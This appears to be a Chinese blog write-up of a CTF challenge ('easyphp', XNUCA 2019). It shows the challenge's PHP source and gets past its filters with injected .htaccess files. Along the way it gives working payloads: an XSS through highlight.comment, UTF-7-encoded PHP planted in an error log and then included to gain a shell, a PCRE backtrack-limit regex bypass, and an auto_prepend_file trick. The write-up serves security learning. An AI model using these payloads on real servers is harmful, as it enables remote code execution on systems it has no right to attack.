easyphp

直接贴出源码:

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?> 

简单分析以下源码,
1. 开始先检测目录内是否存在除index.php以外的文件,若有则删除。
2. 判断是否传入了filename和content变量。
3. 对传入文件内容做了不区分大小写的过滤,而且很全面。
4. 正则匹配过滤文件名,只允许存在英文字母和.
5. 检测目录内是否存在除主页之外的文件并且删除。
6. 在文件末尾加上一行。
如果上传.htaccess文件的话,会因为加在最后一行的内容而报错。利用\绕过,在.htaccess文件以及其他配置文件中,反斜杠起到的是拼接下一行的作用。

ph\
p_value highlight.comment '"><script>alert('1')</script>'

若是上传内容为上的.htaccess文件的话,会弹窗。

小记:其实自己对于这种方法也是一知半解的。不明白前因后果,也不是很清楚原理。就去看了下apache的官方文档。果然自己还是太菜了,连wp都看不懂。有一些知识自己也是完全不知道,甚至连怎么去了解都不知道。差不多这道题拖了两天吧,这两天的大部分时间在摸鱼和一脸懵逼的看官方文档的过程中度过的,尤其文档还是英文的,沮丧。周末考数据库,希望安好吧。————20点43分 2020年5月11日

预期解

需要上传两个.htaccess文件,第一个.htaccess文件:

php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "%2bADw?php phpinfo();%2bADs %2bAF8AXw-halt%2bAF8-compiler()%2bADs"
# \

第一行是设置php错误日志的位置。第二行设置错误报告使其报告所有可能的错误。第三步设置包含的路径。include_path可以作用于require() ,include(),include_once等包含函数,设置此选项之后php在包含文件时若没有给出确切的地址,则会去include_path指定的目录中寻找包含内容。
第三行的编码是utf-7编码,有兴趣可以去了解以下。使用utf-7编码可以绕过对<?>的过滤。

解码后:

<?php phpinfo();;
__halt_compiler();//停用php解释器,感觉和\?\>差不多

第二个.htaccess文件:

php_value include_path "/tmp"
php_value zend.multibyte 1  //检测文件是否具有Unicode内容
php_value zend.script_encoding "UTF-7"
# \

zend.multibyte boolean
Enables parsing of source files in multibyte encodings. Enabling zend.multibyte is required to use character encodings like SJIS, BIG5, etc that contain special characters in multibyte string data. ISO-8859-1 compatible encodings like UTF-8, EUC, etc do not require this option.
Enabling zend.multibyte requires the mbstring extension to be available.

启用多种编码的源文件解析,需要启用zend.multibyte才能使用SJIS,BIG5等在多字节字符串数据中包含特殊字符的字符编码。与ISO-8859-1兼容的编码(例如UTF-8,EUC等)不需要此选项。

zend.script_encoding string
This value will be used unless a declare(encoding=…) directive appears at the top of the script. When ISO-8859-1 incompatible encoding is used, both zend.multibyte and zend.script_encoding must be used.

当使用ISO-8859-1不兼容的编码时,必须同时使用zend.multibyte和zend.script_encoding。
payload:

?content=php_value error_log /tmp/fl3g.php%0aphp_value error_reporting 32767%0aphp_value include_path "%2bADw?php phpinfo();%2bADs %2bAF8AXw-halt%2bAF8-compiler()%2bADs"%0a%23 \&filename=.htaccess

?content=php_value include_path "/tmp"%0aphp_value zend.multibyte 1%0aphp_value zend.script_encoding "UTF-7"%0a%23 \&filename=.htaccess

第二步打两次即可getshell,首先第一步,上传第一个.htaccess文件。然后第二步打一次,生成错误日志,并且上传第二个.htaccess文件。第二步打第二次包含并解码错误日志的内容来getshell。

解法二

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

原理是通过设置pcre的回溯次数上限为0,导致返回false绕过正则的限制,进而绕过文件名的限制,并php://filter和base64编码来绕过题中对content的参数的限制。这里就不再赘述。

解法三

php_value auto_prepend_fi\ //通过 \ 来进行字符连接来规避content中的过滤
le ".htaccess"
#<?php phpinfo();?>\

这个在某道文件上传类的题目中说过,只不过那道题用的是.user.ini配置文件。

.htaccess文件

.htaccess文件,或者叫做分布式配置文件提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。

其实这个文件和主配置文件的作用差不多,都是配置apache服务器的。因此,此文件的语法和主配置文件的语法是完全一致的。在上面的文章里也有讲过如何使.htaccess文件生效,但比较模棱两可,这里再重新说一下。可能涉及到allowoverride指令。

allowoverride指令按类别决定了.htaccess文件中哪些指令才是有效的。如果一个指令允许在.htaccess中使用,那么在手册中会有一个覆盖项段,其中说明了为了使此指令生效而必须在allowoverride指令中设置的值。

这个指令的可选项在上面说过了。此指令只允许放在主配置文件的中,段名中还不能存在正则匹配。可以说使非常朴素了。
如果allowoverride的值设置为了none,也就是说任何指令都不允许放在.htaccess内,变相的禁掉了.htaccess文件。若是设置为all则说明所有的指令都可以放在.htaccess文件中使之生效,也就是完全启用.htaccess文件。
关于生效的问题,.htaccess内配置生效的范围是该目录及其子目录,若是该目录的上级目录中也存在.htaccess文件,则仍是该目录的.htaccess文件生效。
.htaccess和php的之间的联系,除了设置apache服务器解释php文件的途径之外(三种方式,内部存在的module,cgi,fastcgi),.htaccess也可以设置php的配置项,除了PHP_INI_SYSTEM之外的配置项都可以在.htaccess文件内设置。例子如下:

php_value include_path ".;/tmp"

需要在每项的前面加上php_value这样的前缀。官方文档如下:

其中需要注意的一点是,当且仅当使用php作为apache模块的时候,才可使用apache配置文件的指令来修改php的配置。一开始在windows搭的环境,结果一直不成功,就是因为这个原因。
继续来看上面那个奇奇怪怪的xss,这个xss修改的是php的highlight.comment项,

这些配置项设置的是当显示php内容时的各部分高亮的颜色。可设置为 <font color="??????">中任何可接受的代码。那么就能很好的解释上面的payload了。
其实对于.htaccess文件的应用还是蛮多的:

php_flag engine 0

通过停用php的解释器来get到源码。
参考链接:

https://www.anquanke.com/post/id/185377#h2-3
https://lihuaiqiu.github.io/2019/09/23/XNUCA2019-Ezphp/
说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...